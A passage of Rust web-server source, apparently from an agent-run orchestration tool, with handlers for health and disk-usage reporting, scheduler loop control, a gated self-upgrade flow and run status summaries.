2743 to: None,
2744 },
2745 }
2746}
2747
2748fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2754 let now = Timestamp::now();
2755 let lease = updater::read_lease(&ui.home);
2756 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2757 let run_id = alive
2758 .and_then(|l| l.parked_run.as_deref())
2759 .or(progress.parked_run.as_deref());
2760 let parking = progress.stage == updater::Stage::Parking;
2761 let waited = alive.map_or_else(String::new, |l| {
2762 let secs = updater::waited_secs(l, now);
2763 format!(" (waited {} min so far)", secs / 60)
2764 });
2765 let run_text = run_id
2766 .filter(|_| parking)
2767 .map(|id| match read_run(&ui.runs, id).ok() {
2768 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2769 None => format!("run {id} is finishing"),
2770 });
2771 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2772 .filter(|t| parking && !t.is_empty())
2773 .map(|t| format!("{t} finishing"));
2774 let waiting_on = match (run_text, talks_text) {
2775 (None, None) => None,
2776 (run, talks) => {
2777 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2778 Some(format!(
2779 "{} before the address is handed over{waited}",
2780 parts.join(" and ")
2781 ))
2782 }
2783 };
2784 let detail = progress
2785 .detail
2786 .clone()
2787 .or_else(|| updater::read_note(&ui.home, &progress));
2788 let stalled = updater::stall(&progress, lease.as_ref(), now);
2789 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2790 UpgradeProgressView {
2791 trigger: progress.trigger,
2792 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2793 stuck_kind: stalled.map(|s| s.kind),
2794 handover_alive: alive.is_some(),
2795 stage: progress.stage,
2796 from: progress.from,
2797 to: progress.to,
2798 waiting_on,
2799 started_at: progress.started_at,
2800 updated_at: progress.updated_at,
2801 detail,
2802 }
2803}
2804
2805#[derive(Debug, Serialize)]
2808struct DiskView {
2809 #[serde(skip_serializing_if = "Option::is_none")]
2811 free_bytes: Option<u64>,
2812 runs_bytes: Option<u64>,
2814 worktrees_bytes: Option<u64>,
2816 #[serde(skip_serializing_if = "Option::is_none")]
2818 cache_bytes: Option<u64>,
2819 retention: Option<crate::retention::Report>,
2821}
2822
2823const DISK_REFRESH: Duration = Duration::from_secs(60);
2826
2827#[derive(Debug, Clone, PartialEq, Eq)]
2828struct DiskScope {
2829 runs: PathBuf,
2830 worktrees: PathBuf,
2831 cache: Option<PathBuf>,
2832}
2833
2834impl DiskScope {
2835 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2836 Self {
2837 runs: ui.runs.clone(),
2838 worktrees: ui.worktrees_root.clone(),
2839 cache: cfg.and_then(Config::cache_dir),
2840 }
2841 }
2842}
2843
2844#[derive(Debug, Clone, Copy, Default)]
2845struct DiskCapacity {
2846 free_bytes: Option<u64>,
2847 runs_bytes: Option<u64>,
2848 worktrees_bytes: Option<u64>,
2849 cache_bytes: Option<u64>,
2850}
2851
2852impl DiskCapacity {
2853 fn measure(scope: &DiskScope) -> Self {
2854 Self {
2855 free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2856 runs_bytes: disk_capacity_size(&scope.runs),
2857 worktrees_bytes: disk_capacity_size(&scope.worktrees),
2858 cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2859 }
2860 }
2861
2862 fn retain_successes(&mut self, next: Self) {
2863 self.free_bytes = next.free_bytes.or(self.free_bytes);
2864 self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2865 self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2866 self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2867 }
2868}
2869
2870fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2873 let metadata = match std::fs::symlink_metadata(path) {
2874 Ok(metadata) => metadata,
2875 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2876 Err(_) => return None,
2877 };
2878 if !metadata.is_dir() {
2879 return Some(if metadata.is_file() {
2880 metadata.len()
2881 } else {
2882 0
2883 });
2884 }
2885 let mut total = 0;
2886 let mut stack = vec![path.to_owned()];
2887 while let Some(dir) = stack.pop() {
2888 for entry in std::fs::read_dir(dir).ok()? {
2889 let entry = entry.ok()?;
2890 let metadata = entry.metadata().ok()?;
2891 if metadata.is_dir() {
2892 stack.push(entry.path());
2893 } else if metadata.is_file() {
2894 total += metadata.len();
2895 }
2896 }
2897 }
2898 Some(total)
2899}
2900
2901#[derive(Debug, Default)]
2902struct DiskObservation {
2903 scope: Option<DiskScope>,
2904 capacity: DiskCapacity,
2905 in_flight: bool,
2906 finished: Option<std::time::Instant>,
2907}
2908
2909impl DiskObservation {
2910 fn observe(
2911 state: &Arc<Mutex<Self>>,
2912 scope: DiskScope,
2913 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2914 ) -> DiskCapacity {
2915 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2916 if observation.scope.as_ref() != Some(&scope) {
2917 observation.scope = Some(scope.clone());
2918 observation.capacity = DiskCapacity::default();
2919 observation.finished = None;
2920 }
2921 let capacity = observation.capacity;
2922 if observation.in_flight
2923 || observation
2924 .finished
2925 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2926 {
2927 return capacity;
2928 }
2929 observation.in_flight = true;
2930 drop(observation);
2931
2932 let refresh = DiskRefresh {
2933 state: Arc::clone(state),
2934 scope,
2935 };
2936 tokio::task::spawn_blocking(move || {
2937 let next = measure(&refresh.scope);
2938 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2939 if observation.scope.as_ref() == Some(&refresh.scope) {
2940 observation.capacity.retain_successes(next);
2941 }
2942 drop(observation);
2943 drop(refresh);
2946 });
2947 capacity
2948 }
2949}
2950
2951struct DiskRefresh {
2952 state: Arc<Mutex<DiskObservation>>,
2953 scope: DiskScope,
2954}
2955
2956impl Drop for DiskRefresh {
2957 fn drop(&mut self) {
2958 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2959 observation.in_flight = false;
2960 if observation.scope.as_ref() == Some(&self.scope) {
2961 observation.finished = Some(std::time::Instant::now());
2963 }
2964 }
2965}
2966
2967impl DiskView {
2968 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2970 let capacity = DiskObservation::observe(
2971 &ui.monitor.disk,
2972 DiskScope::of(ui, cfg),
2973 DiskCapacity::measure,
2974 );
2975 Self::with_capacity(ui, capacity)
2976 }
2977
2978 fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2979 Self {
2980 free_bytes: crate::disk::free_bytes(&ui.runs)
2981 .ok()
2982 .or(capacity.free_bytes),
2983 runs_bytes: capacity.runs_bytes,
2984 worktrees_bytes: capacity.worktrees_bytes,
2985 cache_bytes: capacity.cache_bytes,
2986 retention: ui
2987 .runs
2988 .parent()
2989 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2990 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2991 }
2992 }
2993}
2994
2995#[derive(Debug, Serialize)]
2997struct DaemonView {
2998 running: bool,
2999 idle: Option<bool>,
3000 pid: Option<u32>,
3001 current: Vec<daemon::Current>,
3005 completed: Option<u64>,
3006 stale_for_secs: Option<i64>,
3007}
3008
3009impl DaemonView {
3010 fn of(status: Option<daemon::Reading>) -> Self {
3014 let Some(status) = status else {
3015 return Self {
3016 running: false,
3017 idle: None,
3018 pid: None,
3019 current: Vec::new(),
3020 completed: None,
3021 stale_for_secs: None,
3022 };
3023 };
3024 let now = Timestamp::now();
3025 let age = status.age_secs(now);
3026 Self {
3027 running: status.running(now),
3028 idle: Some(status.idle),
3029 pid: status.pid,
3030 current: status.current,
3031 completed: Some(status.completed),
3032 stale_for_secs: age,
3033 }
3034 }
3035}
3036
3037fn refresh_health_config(ui: &Arc<Ui>) {
3040 let mut cache = ui
3041 .monitor
3042 .disk_cache
3043 .lock()
3044 .unwrap_or_else(PoisonError::into_inner);
3045 if cache.loading
3046 || cache
3047 .measured
3048 .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3049 {
3050 return;
3051 }
3052 cache.loading = true;
3053 let weak = Arc::downgrade(ui);
3054 std::thread::spawn(move || {
3055 let Some(ui) = weak.upgrade() else { return };
3056 let cfg = deputy_config(&ui.repo);
3057 let update = cached_update_view(cfg.as_ref());
3058 let mut cache = ui
3059 .monitor
3060 .disk_cache
3061 .lock()
3062 .unwrap_or_else(PoisonError::into_inner);
3063 cache.config = cfg;
3064 cache.update = Some(update);
3065 cache.measured = Some(std::time::Instant::now());
3066 cache.loading = false;
3067 });
3068}
3069
3070fn health_counts(
3071 ui: &Ui,
3072 fallback_questions_rev: u64,
3073) -> ApiResult<(usize, usize, usize, u64, usize)> {
3074 let mut index = ui
3075 .monitor
3076 .health_index
3077 .lock()
3078 .unwrap_or_else(PoisonError::into_inner);
3079 let ids = run_ids(&ui.runs);
3080 let seen: HashSet<_> = ids.iter().cloned().collect();
3081 index.runs.retain(|id, _| seen.contains(id));
3082 let mut unreadable = 0;
3083 for id in ids {
3084 let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3087 let bad = match identity {
3088 Ok(identity) => {
3089 if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3090 let bad = read_run(&ui.runs, &id).is_err();
3091 index.runs.insert(id.clone(), (identity, bad));
3092 #[cfg(test)]
3093 {
3094 index.run_parses += 1;
3095 }
3096 }
3097 index.runs[&id].1
3098 }
3099 Err(_) => true,
3100 };
3101 unreadable += usize::from(bad);
3102 }
3103 let questions_rev = try_stamps(ui.questions.root(), false, true)
3104 .map(|stamps| stamps_revision(&stamps))
3105 .unwrap_or(fallback_questions_rev);
3106 if index.questions.as_ref().is_none_or(|counts| {
3107 counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3108 }) {
3109 let questions = ui.questions.list();
3110 index.questions = Some(QuestionCounts {
3111 revision: questions_rev,
3112 measured: std::time::Instant::now(),
3113 open: questions.iter().filter(|q| q.status.open()).count(),
3114 owner: questions
3115 .iter()
3116 .filter(|q| {
3117 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3118 })
3119 .count(),
3120 });
3121 }
3122 let notifications_rev =
3123 stamps_revision(¬ice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3124 if index
3125 .notices
3126 .is_none_or(|(rev, _)| rev != notifications_rev)
3127 {
3128 index.notices = Some((notifications_rev, ui.notices.count_unread()));
3129 }
3130 let questions = index.questions.as_ref().unwrap();
3131 Ok((
3132 unreadable,
3133 questions.open,
3134 questions.owner,
3135 notifications_rev,
3136 index.notices.unwrap().1,
3137 ))
3138}
3139
3140async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3141 let revisions = ui.monitor.revisions(&ui).await?;
3142 refresh_health_config(&ui);
3143 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3144 let reading = daemon::read_status(&ui.home);
3148 let loop_rev = ui.lock_loop().rev;
3152 let (
3153 runs_unreadable,
3154 questions_open,
3155 questions_needs_owner,
3156 notifications_rev,
3157 notifications_unread,
3158 ) = health_counts(&ui, revisions.2)?;
3159 let ((cfg, config_observed, sizes, measured), update) = {
3160 let cache = ui
3161 .monitor
3162 .disk_cache
3163 .lock()
3164 .unwrap_or_else(PoisonError::into_inner);
3165 (
3166 (
3167 cache.config.clone(),
3168 cache.measured.is_some(),
3169 cache.disk.clone(),
3170 cache.measured,
3171 ),
3172 cache.update.clone().unwrap_or(UpdateView {
3173 available: false,
3174 to: None,
3175 }),
3176 )
3177 };
3178 let prior_capacity = {
3182 let mut observation = ui
3183 .monitor
3184 .disk
3185 .lock()
3186 .unwrap_or_else(PoisonError::into_inner);
3187 if observation.scope.is_none()
3190 && let Some(sizes) = sizes
3191 {
3192 observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3193 observation.capacity = DiskCapacity {
3194 runs_bytes: Some(sizes.runs),
3195 worktrees_bytes: Some(sizes.worktrees),
3196 cache_bytes: sizes.cache,
3197 free_bytes: None,
3198 };
3199 observation.finished = measured;
3200 }
3201 observation.scope.as_ref().map(|_| observation.capacity)
3202 };
3203 let disk = if config_observed {
3204 serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3205 } else {
3206 serde_json::to_value(DiskView::with_capacity(
3207 &ui,
3208 prior_capacity.unwrap_or_default(),
3209 ))
3210 .ok()
3211 };
3212 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3213 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3214 #[cfg(not(test))]
3215 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3216 #[cfg(test)]
3217 let looping = ui.loop_view(reading.clone());
3218 Ok(Json(HealthView {
3219 jobs: jobs.into_iter().map(WorkerView::from).collect(),
3220 version: env!("CARGO_PKG_VERSION"),
3221 home: ui.home.display().to_string(),
3222 queue_rev: revisions.0,
3223 runs_rev: revisions.1,
3224 questions_rev: revisions.2,
3225 talks_rev: revisions.3,
3226 notifications_rev,
3227 notifications_unread,
3228 loop_rev,
3229 runs_unreadable,
3230 questions_open,
3231 questions_needs_owner,
3232 daemon: DaemonView::of(reading.clone()),
3233 looping,
3234 disk,
3235 update,
3236 upgrade,
3237 upgrade_request_error: ui
3238 .upgrade_request_error
3239 .lock()
3240 .unwrap_or_else(PoisonError::into_inner)
3241 .clone(),
3242 }))
3243 })
3244 .await
3245}
3246
3247#[derive(Debug, Serialize)]
3249struct LoopView {
3250 running: bool,
3252 stopping: bool,
3254 parking: bool,
3256 owned: bool,
3258 repo: String,
3261 merge: Option<String>,
3264 last_error: Option<String>,
3272 daemon: DaemonView,
3275}
3276
3277#[derive(Debug, Clone, Copy)]
3282struct Foreign {
3283 pid: Option<u32>,
3285}
3286
3287impl Foreign {
3288 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3291 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3295 return None;
3296 }
3297 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3298 }
3299
3300 fn who(&self) -> String {
3303 match self.pid {
3304 Some(pid) => format!("another magi process (pid {pid})"),
3305 None => "another magi process".to_owned(),
3306 }
3307 }
3308}
3309
3310type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3315
3316#[cfg(test)]
3317type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3318
3319#[cfg(test)]
3321fn launch_daemon(
3322 opts: daemon::Opts,
3323 stop: daemon::Stop,
3324) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3325 Box::pin(daemon::serve_until(opts, stop))
3326}
3327
3328#[derive(Debug, Default)]
3330struct LoopState {
3331 #[cfg(test)]
3333 live: Option<Live>,
3334 rev: u64,
3337 last_error: Option<String>,
3340}
3341
3342#[cfg(test)]
3344#[derive(Debug)]
3345struct Live {
3346 stop: daemon::Stop,
3348 handle: tokio::task::JoinHandle<()>,
3353 opts: daemon::Opts,
3357}
3358
3359#[cfg(test)]
3360impl Live {
3361 fn alive(&self) -> bool {
3363 !self.handle.is_finished()
3364 }
3365}
3366
3367fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3374 state.lock().unwrap_or_else(PoisonError::into_inner)
3375}
3376
3377async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3379 blocking(move || {
3380 let reading = daemon::read_status(&ui.home);
3381 #[cfg(not(test))]
3382 let view = ui.try_loop_view(reading)?;
3383 #[cfg(test)]
3384 let view = ui.loop_view(reading);
3385 Ok(Json(view))
3386 })
3387 .await
3388}
3389
3390#[derive(Debug, Deserialize)]
3396#[serde(deny_unknown_fields)]
3397struct LoopCommand {
3398 running: bool,
3399 #[serde(default)]
3409 park: bool,
3410}
3411
3412async fn loop_post(
3415 State(ui): State<Arc<Ui>>,
3416 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3417) -> ApiResult<Json<LoopView>> {
3418 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3421 #[cfg(not(test))]
3422 {
3423 if body.running {
3424 ui.start_detached_loop().await?;
3425 } else {
3426 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3427 ui.stop_loop(foreign, body.park)?;
3428 }
3429 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3430 }
3431 #[cfg(test)]
3432 {
3433 blocking(move || {
3434 let reading = daemon::read_status(&ui.home);
3435 let foreign = Foreign::of(reading.as_ref());
3436 if body.running {
3437 ui.start_loop(foreign)?;
3438 } else {
3439 ui.stop_loop(foreign, body.park)?;
3440 }
3441 Ok(Json(ui.loop_view(reading)))
3442 })
3443 .await
3444 }
3445}
3446
3447#[derive(Debug, Serialize)]
3449struct UpgradeView {
3450 from: String,
3452 to: Option<String>,
3454 detail: String,
3456}
3457
3458fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3461 progress.filter(|p| !p.stage.terminal())
3462}
3463
3464fn upgrade_retry_after(message: &str) -> Option<u64> {
3467 if !message.contains("GitHub") || !message.contains("rate limit") {
3468 return None;
3469 }
3470 if message.contains("retry now") {
3471 return Some(0);
3472 }
3473 let duration = message
3474 .split_once("resets in ")
3475 .or_else(|| message.split_once("retry after "))?
3476 .1
3477 .split_once(')')?
3478 .0;
3479 let mut rest = duration.trim();
3480 if rest.is_empty() {
3481 return None;
3482 }
3483 let mut total = 0u64;
3484 while !rest.is_empty() {
3485 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3486 let amount: u64 = rest[..n].parse().ok()?;
3487 let scale = match rest[n..].chars().next()? {
3488 's' => 1,
3489 'm' => 60,
3490 'h' => 3600,
3491 'd' => 86400,
3492 _ => return None,
3493 };
3494 total = total.checked_add(amount.checked_mul(scale)?)?;
3495 rest = rest[n + 1..].trim_start();
3496 }
3497 Some(total)
3498}
3499
3500#[derive(Debug, Clone, Serialize)]
3501struct UpgradeRequestFailure {
3502 occurred_at: String,
3503 error: String,
3504 retry_after_secs: Option<u64>,
3505 retry_at: Option<u64>,
3507}
3508
3509impl UpgradeRequestFailure {
3510 fn new(error: String) -> Self {
3511 let retry_after_secs = upgrade_retry_after(&error);
3512 let now = std::time::SystemTime::now()
3513 .duration_since(std::time::UNIX_EPOCH)
3514 .unwrap_or_default()
3515 .as_secs();
3516 Self {
3517 occurred_at: jiff::Timestamp::now().to_string(),
3518 error,
3519 retry_after_secs,
3520 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3521 }
3522 }
3523}
3524
3525async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3538 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3539}
3540
3541async fn begin_upgrade(
3542 ui: &Arc<Ui>,
3543 trigger: updater::UpgradeTrigger,
3544 latest: Option<kaishin::LatestRelease>,
3545) -> Response {
3546 let reading = daemon::read_status(&ui.home);
3547 if let Some(other) = Foreign::of(reading.as_ref()) {
3548 return ApiError::conflict(format!(
3549 "{} is a legacy scheduler without detached restart support. \
3550 Finish or explicitly park its work in the existing UI before \
3551 this first migration; independent schedulers do not need this.",
3552 other.who()
3553 ))
3554 .into_response();
3555 }
3556
3557 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3562 return ApiError::conflict("another request is already preparing an upgrade")
3563 .into_response();
3564 };
3565 if trigger == updater::UpgradeTrigger::Auto {
3568 let cfg = match Config::discover(&ui.repo, None) {
3569 Ok((cfg, _)) => cfg,
3570 Err(e) => {
3571 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3572 }
3573 };
3574 let Some(latest) = latest else {
3575 return StatusCode::NO_CONTENT.into_response();
3576 };
3577 let busy = ui.auto_upgrade_busy();
3578 let failed = ui
3579 .auto_failed_tag
3580 .lock()
3581 .unwrap_or_else(PoisonError::into_inner)
3582 .clone();
3583 let decision = auto_upgrade_decision(
3584 &cfg.update,
3585 updater::disabled_by_env(),
3586 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3587 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3588 busy,
3589 &latest.tag_name,
3590 failed.as_deref(),
3591 );
3592 if decision != AutoUpgradeDecision::Trigger {
3593 let reason = match decision {
3594 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3595 AutoUpgradeDecision::Skip(reason) => reason,
3596 AutoUpgradeDecision::Trigger => unreachable!(),
3597 };
3598 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3599 return StatusCode::NO_CONTENT.into_response();
3600 }
3601 ui.upgrade_spawned
3605 .store(true, std::sync::atomic::Ordering::SeqCst);
3606 if ui.auto_upgrade_busy() {
3607 ui.upgrade_spawned
3608 .store(false, std::sync::atomic::Ordering::SeqCst);
3609 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3610 return StatusCode::NO_CONTENT.into_response();
3611 }
3612 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3613 return finish_upgrade_request(
3614 ui,
3615 upgrade_checked_for(
3616 ui,
3617 env!("CARGO_PKG_VERSION").into(),
3618 Ok(Some(latest)),
3619 trigger,
3620 ),
3621 );
3622 }
3623 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3624}
3625
3626fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3627 match result {
3628 Ok(out) => {
3629 *ui.upgrade_request_error
3630 .lock()
3631 .unwrap_or_else(PoisonError::into_inner) = None;
3632 out.into_response()
3633 }
3634 Err(error) if error.status != StatusCode::CONFLICT => {
3635 let failure = UpgradeRequestFailure::new(error.message);
3636 *ui.upgrade_request_error
3637 .lock()
3638 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3639 let mut response = (error.status, Json(&failure)).into_response();
3640 if let Some(value) = failure
3641 .retry_after_secs
3642 .and_then(|secs| secs.to_string().parse().ok())
3643 {
3644 response.headers_mut().insert("retry-after", value);
3645 }
3646 response
3647 }
3648 Err(error) => error.into_response(),
3649 }
3650}
3651
3652async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3653 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3654 return Err(ApiError::conflict(
3655 "an upgrade is already in progress (this process started one and it \
3656 has not finished or failed yet)",
3657 ));
3658 }
3659 let recorded = updater::read_progress(&ui.home);
3660 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3661 return Err(ApiError::conflict(format!(
3662 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3663 stays stuck, restart the deck; on start it settles a stale record.",
3664 p.stage.as_str(),
3665 p.from,
3666 p.to.as_deref().unwrap_or("?"),
3667 )));
3668 }
3669
3670 if crate::updater::disabled_by_env() {
3676 return Ok((
3677 StatusCode::OK,
3678 Json(UpgradeView {
3679 from: env!("CARGO_PKG_VERSION").to_owned(),
3680 to: None,
3681 detail: format!(
3682 "Automatic updates are disabled by {}. Nothing was parked \
3683 and nothing restarted.",
3684 crate::updater::NO_AUTOUPDATE_ENV
3685 ),
3686 }),
3687 ));
3688 }
3689
3690 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3693 let from = env!("CARGO_PKG_VERSION").to_owned();
3694 let latest = match crate::updater::Checker::new(&cfg.update) {
3695 Some(checker) => checker.newer_release().await,
3696 None => Ok(None),
3697 };
3698 upgrade_checked(ui, from, latest)
3699}
3700
3701fn upgrade_checked(
3702 ui: &Arc<Ui>,
3703 from: String,
3704 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3705) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3706 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3707}
3708
3709fn upgrade_checked_for(
3710 ui: &Arc<Ui>,
3711 from: String,
3712 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3713 trigger: updater::UpgradeTrigger,
3714) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3715 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3716 let Some(latest) = latest else {
3717 return Ok((
3718 StatusCode::OK,
3719 Json(UpgradeView {
3720 from,
3721 to: None,
3722 detail: "Already on the newest release. Nothing was parked \
3723 and nothing restarted."
3724 .to_owned(),
3725 }),
3726 ));
3727 };
3728
3729 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3730
3731 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3735 progress.trigger = trigger;
3736 updater::write_progress_logged(&ui.home, &progress);
3737
3738 let home = ui.home.clone();
3739 ui.upgrade_spawned
3740 .store(true, std::sync::atomic::Ordering::SeqCst);
3741 let spawned = Arc::clone(&ui.upgrade_spawned);
3742 let runner = ui.upgrade_runner;
3743 let failed = ui.auto_failed_tag.clone();
3744 let tag = latest.tag_name.clone();
3745 tokio::spawn(async move {
3746 if let Err(e) = runner(home.clone()).await {
3747 if trigger == updater::UpgradeTrigger::Auto {
3748 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3749 }
3750 tracing::error!("the upgrade did not complete: {e:#}");
3751 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3755 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3757 }
3758 });
3759
3760 Ok((
3761 StatusCode::ACCEPTED,
3762 Json(UpgradeView {
3763 from,
3764 to: Some(latest.tag_name),
3765 detail,
3766 }),
3767 ))
3768}
3769
3770async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3775 crate::updater::run_self_update(true, false, true).await?;
3778 updater::log_step(&home, "binary replaced - recording the replaced stage");
3779 if let Some(mut progress) = updater::read_progress(&home) {
3780 progress.advance(updater::Stage::Replaced);
3781 updater::write_progress_logged(&home, &progress);
3782 }
3783 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3784 HANDOVER.notify_one();
3785 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3786 Ok(())
3787}
3788
3789#[derive(Debug, Serialize)]
3795struct RunSummary {
3796 activity: String,
3797 id: String,
3798 short: String,
3799 status: String,
3800 done: bool,
3801 instruction: String,
3802 title: String,
3803 repo: String,
3804 repo_name: String,
3805 created_at: String,
3806 updated_at: String,
3807 candidates: usize,
3808 viable: usize,
3809 judges: usize,
3810 winner: Option<char>,
3811 reviews: usize,
3812 quota_losses: usize,
3813 event: Option<String>,
3814 superseded_by: Option<String>,
3819 waiting: bool,
3826 live: crate::run::Liveness,
3830 pr: Option<crate::run::PrRecord>,
3832 unmerged_by_design: bool,
3838 #[serde(default)]
3841 display_status: String,
3842 #[serde(default)]
3845 badge_status: String,
3846 origin_label: String,
3849}
3850
3851impl RunSummary {
3852 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3853 Self {
3854 activity: crate::run_progress::activity(state, live, waiting),
3855 id: state.id.clone(),
3856 short: state.short().to_owned(),
3857 status: status_word(state.status),
3858 done: state.status.done(),
3859 unmerged_by_design: state.unmerged_by_design(),
3860 display_status: run_display_status(state, waiting, live),
3861 badge_status: run_display_status(state, waiting, live),
3862 instruction: state.instruction.clone(),
3863 title: title_from(&state.instruction, TITLE_MAX),
3864 repo: state.repo.display().to_string(),
3865 repo_name: state
3866 .repo
3867 .file_name()
3868 .map(|n| n.to_string_lossy().into_owned())
3869 .unwrap_or_default(),
3870 created_at: state.created_at.to_string(),
3871 updated_at: state.updated_at.to_string(),
3872 candidates: state.candidates.len(),
3873 viable: state.viable().len(),
3874 judges: state.config.graph.judges,
3875 winner: state.winner().map(|c| c.label),
3876 reviews: state.reviews.len(),
3877 quota_losses: state.quota.len(),
3878 event: state
3879 .verification_blocking_cause()
3880 .or_else(|| state.events.last().map(|e| e.message.clone())),
3881 waiting,
3882 live,
3883 superseded_by: None,
3886 pr: state.pr.clone(),
3887 origin_label: crate::run::origin_label(state.origin.as_ref()),
3888 }
3889 }
3890}
3891
3892fn status_word(status: RunStatus) -> String {
3895 status.as_str().to_owned()
3899}
3900
3901fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3907 if waiting {
3908 return "waiting".to_owned();
3909 }
3910 if state.unmerged_by_design() {
3911 return "unmerged".to_owned();
3912 }
3913 if !state.status.done() && live == crate::run::Liveness::Dead {
3914 if state.parked {
3917 return "parked".to_owned();
3918 }
3919 return "stale".to_owned();
3920 }
3921 status_word(state.status)
3922}
3923
3924fn run_badge_status(
3932 state: &RunState,
3933 display_status: &str,
3934 live: crate::run::Liveness,
3935 superseded: bool,
3936) -> String {
3937 if state.status.done() || live == crate::run::Liveness::Live {
3938 return display_status.to_owned();
3939 }
3940 if superseded {
3941 return "superseded".to_owned();
3942 }
3943 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3947 return "stale".to_owned();
3948 }
3949 display_status.to_owned()
3950}
3951
3952#[derive(Debug, Deserialize)]
3954struct ListQuery {
3955 #[serde(default)]
3956 limit: Option<usize>,
3957 ids: Option<String>,
3959}
3960
3961impl ListQuery {
3962 fn contains(&self, id: &str) -> bool {
3963 self.ids
3964 .as_ref()
3965 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3966 }
3967}
3968
3969async fn runs_list(
3970 State(ui): State<Arc<Ui>>,
3971 Query(q): Query<ListQuery>,
3972) -> ApiResult<Json<Vec<RunSummary>>> {
